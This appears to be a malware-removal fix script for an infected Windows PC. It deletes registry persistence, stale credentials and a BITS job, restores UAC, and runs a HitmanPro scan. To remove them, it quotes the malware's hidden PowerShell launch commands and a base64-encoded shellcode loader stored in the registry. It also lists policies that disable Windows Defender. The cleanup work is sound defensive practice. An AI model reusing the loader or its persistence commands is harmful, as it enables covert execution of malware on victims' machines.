Malware Log Analysis

shared / mxrnnn
Login
content copied

content

Start:: SystemRestore: On CreateRestorePoint: CloseProcesses: CMD: type C:\Windows\Setup\Scripts\ShowAllTrayIcons.vbs File: C:\Windows\Setup\Scripts\ShowAllTrayIcons.vbs CMD: type C:\Windows\Setup\Scripts\UserOnce.ps1 File: C:\Windows\Setup\Scripts\UserOnce.ps1 Reg: reg delete "HKU\S-1-5-21-1130867741-3601136479-788776095-1000\Environment" /v UserCache /f Reg: reg delete "HKU\S-1-5-21-1130867741-3601136479-788776095-1000\Software\Classes\CLSID\{A1B2C3D4-E5F6-7890-1234-567890ABCDEF}" /f HKU\S-1-5-21-1130867741-3601136479-788776095-1000\...\Winlogon: [Shell] explorer.exe,C:\Windows\System32\conhost.exe --headless C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -nop -ep bypass -c "&([ScriptBlock]::Create([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Get-ItemProperty 'HKCU:\Environment').UserCache))))" <==== ATTENTION HKU\S-1-5-21-1130867741-3601136479-788776095-1000\Environment: [UserInitMprLogonScript] powershell.exe -w hidden -nop -ep bypass -c "&([ScriptBlock]::Create([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Get-ItemProperty 'HKCU:\Environment').UserCache))))" <==== ATTENTION HKLM\...\SilentProcessExit\userinit.exe: [MonitorProcess] C:\Windows\System32\conhost.exe --headless C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -nop -ep bypass -c "&([ScriptBlock]::Create([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Get-ItemProperty \"Registry::HKEY_USERS\S-1-5-21-1130867741-3601136479-788776095-1000\Environment\").UserCache))))" <==== ATTENTION HKU\S-1-5-21-1130867741-3601136479-788776095-1000\Environment: [UserCache] -> U3RhcnQtU2xlZXAgLVNlY29uZHMgMzU7JGs9KEdldC1JdGVtUHJvcGVydHkgSEtMTTpcU09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBoeSkuTWFjaGluZUd1aWQ7JHA9J1JlZ2lzdHJ5OjpIS0VZX1VTRVJTXFMtMS01LTIxLTExMzA4Njc3NDEtMzYwMTEzNjQ3OS03ODg3NzYwOTUtMTAwMFxTb2Z0d2FyZVxDbGFzc2VzXENMU0lEXHtBMUIyQzNENC1FNUY2LTc4OTAtMTIzNC01Njc4OTBBQkNERUZ9XEluc3RhbmNlJzskYj1bU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXV06Om5ldygpOzAuLjN8JXskbj0nQ2FjaGVCbG9ja18nKyRfOyRoPShHZXQtSXRlbVByb3BlcnR5IC1QYXRoICRwIC1OYW1lICRuKS4kbjskYz1bU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXV06Om5ldygpO2ZvcigkaT0wOyRpLWx0JGguTGVuZ3RoOyRpKz0yKXskYy5BZGQoW0NvbnZlcnRdOjpUb0J5dGUoJGguU3Vic3RyaW5nKCRpLDIpLDE2KSl9O2ZvcigkaT0wOyRpLWx0JGMuQ291bnQ7JGkrKyl7JGNbJGldPSRjWyRpXSAtYnhvciAka1skaSUkay5MZW5ndGhdfTskYi5BZGRSYW5nZSgkYyl9O0FkZC1UeXBlIC1UeXBlRGVmaW5pdGlvbiAndXNpbmcgU3lzdGVtO3VzaW5nIFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcztwdWJsaWMgY2xhc3MgV3tbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLFNldExhc3RFcnJvcj10cnVlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVmlydHVhbEFsbG9jKEludFB0ciBhLHVpbnQgcyx1aW50IHQsdWludCBwKTtbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLFNldExhc3RFcnJvcj10cnVlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlVGhyZWFkKEludFB0ciBhLHVpbnQgcyxJbnRQdHIgZSxJbnRQdHIgcCx1aW50IGYscmVmIHVpbnQgaSk7W0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBXYWl0Rm9yU2luZ2xlT2JqZWN0KEludFB0ciBoLHVpbnQgbXMpO30nOyRiYT0kYi5Ub0FycmF5KCk7JHM9W1ddOjpWaXJ0dWFsQWxsb2MoW0ludFB0cl06Olplcm8sW3VpbnQzMl0kYmEuTGVuZ3RoLFt1aW50MzJdMHgzMDAwLFt1aW50MzJdMHg0MCk7W1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6Q29weSgkYmEsMCwkcywkYmEuTGVuZ3RoKTskdGlkPVt1aW50MzJdMDskdGg9W1ddOjpDcmVhdGVUaHJlYWQoW0ludFB0cl06Olplcm8sW3VpbnQzMl0wLCRzLFtJbnRQdHJdOjpaZXJvLFt1aW50MzJdMCxbcmVmXSR0aWQpO1tXXTo6V2FpdEZvclNpbmdsZU9iamVjdCgkdGgsW3VpbnQzMl06Ok1heFZhbHVlKQ== <==== ATTENTION HKLM\SOFTWARE\Policies\Mozilla\Firefox: Restriction <==== ATTENTION FirewallRules: [TCP Query User{C838E887-9F98-4181-88F7-793ED0F88F6C}C:\users\admin\appdata\local\programs\teslabrowser\teslabrowser.exe] => (Allow) C:\users\admin\appdata\local\programs\teslabrowser\teslabrowser.exe => No File FirewallRules: [UDP Query User{DE597069-6C30-4DFB-9B7D-499952C37968}C:\users\admin\appdata\local\programs\teslabrowser\teslabrowser.exe] => (Allow) C:\users\admin\appdata\local\programs\teslabrowser\teslabrowser.exe => No File FirewallRules: [{C310F435-D3D2-4232-AB54-B3FB629FE50A}] => (Allow) C:\Users\Admin\AppData\Local\Programs\Opera GX\opera.exe => No File HKU\S-1-5-21-1130867741-3601136479-788776095-1000\...\Run: [Opera GX Stable] => "C:\Users\Admin\AppData\Local\Programs\Opera GX\opera.exe" --autostart (No File) HKU\S-1-5-21-1130867741-3601136479-788776095-1000\...\Run: [GoogleChromeAutoLaunch_938C532B712A7A2948CEBAA703DD95D5] => "C:\Users\Admin\AppData\Local\Programs\TeslaBrowser\chrome.exe" --startup-foreground-launch (No File) HKU\S-1-5-21-1130867741-3601136479-788776095-1000\Environment\\UserInitMprLogonScript: -> C:\Windows\System32\conhost.exe --headless C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -nop -ep bypass -c "&([ScriptBlock]::Create([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Get-ItemProperty 'HKCU:\Environment').UserCache))))" (No File) ShortcutTarget: Tesla Browser.lnk -> C:\Users\Admin\AppData\Local\Programs\TeslaBrowser\TeslaBrowser.exe (No File) Task: {F3E6E7ED-A196-4E44-8803-55FAB3AD4E29} - System32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker => %systemroot%\system32\MusNotification.exe (No File) 2026-07-05 21:10 - 2026-07-05 21:11 - 000133624 _____ C:\Users\Admin\AppData\LocalLow\d47ef096093b45a878ff51bcfee6148a0522edf46540bba5789c5f9067af5940 2026-07-05 21:10 - 2026-07-05 21:11 - 000000530 _____ C:\Users\Admin\AppData\LocalLow\f5bc2ecccf40e549d25eef1f98db00032cd14f1870ded1672080981a50cdcc92 2026-07-20 23:26 - 2026-05-15 13:27 - 000000130 _____ C:\Users\Admin\AppData\LocalLow\f10ce00e40f0732e478e8b4c4efe434b4327dd738c24067d43cf2a14e87328c0 2026-07-20 21:49 - 2026-06-09 23:24 - 000000298 _____ C:\Users\Admin\AppData\LocalLow\746e27c7b0ed8a1aff09b3f21bcc50512370edc857fe5a5091eacb6bebf62269 2026-07-20 21:47 - 2026-06-09 23:24 - 000129188 _____ C:\Users\Admin\AppData\LocalLow\1936af8de1bc36f027d1086cab71c57d63a12a5169752a85c1ece938f02dd350 2026-07-20 01:18 - 2026-06-09 23:24 - 000000130 _____ C:\Users\Admin\AppData\LocalLow\1080d445b7dc993fdc5e97f9fbaf8dac3eda427c82bd8a553fe5c7358d6a1a18 2026-07-15 00:24 - 2026-06-09 23:24 - 000077924 _____ C:\Users\Admin\AppData\LocalLow\0987714684652e82b58c4e5db405bf64dcafd692fa935ba9aeb25dc384610577 2026-07-14 22:50 - 2026-03-02 20:12 - 000014086 _____ C:\Users\Admin\AppData\LocalLow\218ddbd04548c8c82494e0f676c6bf3cbb7141f59f84892587e4679a1d2cd33e 2026-07-10 11:38 - 2026-05-21 23:22 - 000000130 _____ C:\Users\Admin\AppData\LocalLow\f0bd8456bdc7647362b4d3fcb7f596c86d80ec40a9f1d34750394b72b79ff319 2026-07-08 02:42 - 2026-05-15 13:27 - 000000026 _____ C:\Users\Admin\AppData\LocalLow\035a1491de2d5b68d785672431a647eda9a779be4e95013f4c10b9cceaad9b15 2026-07-07 13:48 - 2026-05-21 23:22 - 000015820 _____ C:\Users\Admin\AppData\LocalLow\a804deb274ddfc061f055e665dfc61c913d444fb003d41be68697227aa381be5 2026-07-07 12:07 - 2026-03-02 20:16 - 000000130 _____ C:\Users\Admin\AppData\LocalLow\e566deb3fef7e2cc2fc8b14164e447edebb8af17f63f81e92d4e6ed78d568516 2026-07-07 09:25 - 2026-05-14 10:11 - 000002264 _____ C:\Users\Admin\AppData\LocalLow\61a02d363059cc476467eaee24e3cf4822183425c3c5a8254360c106c93bff52 2026-07-07 09:25 - 2026-03-02 20:14 - 000002264 _____ C:\Users\Admin\AppData\LocalLow\47c1b04c0e395e7d54ae6423cc6387895dbff98d989809502e3f619e4a1bdfa9 2026-07-05 21:11 - 2026-05-14 13:47 - 000100906 _____ C:\Users\Admin\AppData\LocalLow\6102386497d315c609e4c731552e978e816682626cf1d6c2ce89959a0afa4d25 2026-07-05 21:04 - 2026-05-12 20:56 - 000002264 _____ C:\Users\Admin\AppData\LocalLow\072ce0e75b078b9434802592c122dfc0a2413e01c80599aadfa12d6f5ca14f63 2026-07-04 22:05 - 2026-03-02 20:57 - 000000026 _____ C:\Users\Admin\AppData\LocalLow\c197ade816a388816b324fc3bde84541fd3422c2a74145b2e37e3037c20b692c 2026-07-04 21:36 - 2026-06-10 14:40 - 000002264 _____ C:\Users\Admin\AppData\LocalLow\565a7c50216bc8a940f34191e53907f05c9a6a2f9f62292ba47acb51ff8aaa04 2026-07-04 21:33 - 2026-03-02 20:12 - 000005904 _____ C:\Users\Admin\AppData\LocalLow\92a3e958bc5b2c3728d2a61b3be1a72dac1bc43f8c15251c88a54ef89e7b4dad 2026-07-04 21:33 - 2026-03-02 20:12 - 000000026 _____ C:\Users\Admin\AppData\LocalLow\2eb93b796e7c93139647863547d122207e113a23f08be9bdd3076eb2e29c4875 2026-07-04 01:46 - 2026-03-02 20:12 - 000008124 _____ C:\Users\Admin\AppData\LocalLow\4aa7637fc12d2c670bb9a3e5cec12294b36c742bc1e4af26dc1cfecf4c3be9f1 2026-07-04 01:46 - 2026-03-02 20:12 - 000000026 _____ C:\Users\Admin\AppData\LocalLow\6a788d458c55f07e0591d05d89d2927a4984b1e9265bb5791636e9640ffb03f8 2026-07-04 01:42 - 2026-05-15 13:27 - 000000130 _____ C:\Users\Admin\AppData\LocalLow\910a93cba0fa120eb7593dcfc175021fd2646d0650d3414c6966954637fe300f 2026-07-04 01:12 - 2026-05-15 13:27 - 000005898 _____ C:\Users\Admin\AppData\LocalLow\09bf470bf682b667af3c56ef8ff6e99310800bd9c6d91c67e13807e477f26395 2026-07-04 01:11 - 2026-03-02 20:16 - 000005889 _____ C:\Users\Admin\AppData\LocalLow\34c6c7fa44e938d18a75aed0e2bfdb9714e23a3ec1152fd6a68f9bbea57b1635 2026-07-04 01:03 - 2026-03-02 20:12 - 000000026 _____ C:\Users\Admin\AppData\LocalLow\b7cac5ad2371695afc0ad38bcb2d259239f818cfb4088d16fea8585e9c8c5856 2026-07-04 01:02 - 2026-05-15 13:27 - 000005899 _____ C:\Users\Admin\AppData\LocalLow\d5bd1d60f6692c5b66db29501fe23813771e18543789b98ee33b15dda4faeaa0 2026-07-04 01:02 - 2026-05-15 13:27 - 000000130 _____ C:\Users\Admin\AppData\LocalLow\58bf683adfe62cc7ff5c48b816fd89c87d3a37f9231b169d3becbf64e35b74d2 2026-06-30 01:48 - 2026-05-14 13:45 - 000089849 _____ C:\Users\Admin\AppData\LocalLow\88b51efd6c7c1270fef36449215e2dcfb5c90617fe62c1fee50fd7798c65567a 2026-06-30 01:48 - 2026-05-14 13:45 - 000000130 _____ C:\Users\Admin\AppData\LocalLow\ee74e541e8b5cc824c949ccdb057e2b8380b7c3f76d6f7677ab9fb4feec107fc StartPowershell: $log = "C:\cleanup.log.txt" cmdkey /list | Where-Object { $_ -match 'Target:' } | ForEach-Object { ($_ -replace '.*Target:\s*', '').Trim() -replace '^LegacyGeneric:target=', '' } | Where-Object { $_ -like 'Edge_ST_*' } | Sort-Object -Unique | ForEach-Object { $t = $_ cmdkey /delete:$t | Out-Null $gone = -not (cmdkey /list | Select-String -SimpleMatch $t -Quiet) if ($gone) { "Removed: $t" } else { "Still present: $t" } } | Tee-Object -FilePath $log EndPowershell: CMD: bitsadmin /cancel {D2D4FF6C-604D-489A-A38F-B1209525F39B} StartPowershell: Get-BitsTransfer -AllUsers | Where-Object { $_.DisplayName -eq 'WindowsMediaCacheSync' } | Remove-BitsTransfer EndPowershell: Comment: This snippet reverts User Account Control to default StartRegedit: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] "ConsentPromptBehaviorAdmin"=dword:00000005 "ConsentPromptBehaviorUser"=dword:00000003 "EnableLUA"=dword:00000001 EndRegedit: HKLM\SOFTWARE\Microsoft\Windows Defender: [DisableAntiSpyware] Restriction <==== ATTENTION HKLM\SOFTWARE\Microsoft\Windows Defender: [DisableAntiVirus] Restriction <==== ATTENTION Powershell: @("$env:APPDATA","$env:LOCALAPPDATA") | ForEach-Object { Get-ChildItem $_ -Recurse -Filter "index.js" -ErrorAction SilentlyContinue } | Where-Object { $_.FullName -match "discord_desktop_core" } | ForEach-Object { Write-Host "--- $($_.FullName) ---"; (Get-Content $_.FullName -Raw).Substring(0,[Math]::Min(2000,(Get-Content $_.FullName -Raw).Length)) } Powershell: (Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -ErrorAction SilentlyContinue).PSObject.Properties | Where-Object { $_.Name -match "^[a-z]$" } | ForEach-Object { Write-Host "$($_.Name): $($_.Value)" } StartPowershell: # Replace /scanonly with /clean if you also want to delete items -- however, this will activate a trial license on the system, I do not recommend it $hmpExe = "$env:TEMP\HitmanPro_x64.exe" $logFile = "$env:TEMP\HitmanPro_ScanLog.txt" Invoke-WebRequest -Uri "https://dl.surfright.nl/HitmanPro_x64.exe" -OutFile $hmpExe -UseBasicParsing $proc = Start-Process $hmpExe -ArgumentList "/ews","/scanonly","/noinstall","/log=`"$logFile`"","/logtype=txt" -Wait -PassThru if (!(Test-Path $logFile)) { Write-Host "Scan failed (exit $($proc.ExitCode))"; exit 1 } Get-Content $logFile -Encoding Unicode EndPowershell: EmptyTemp: End::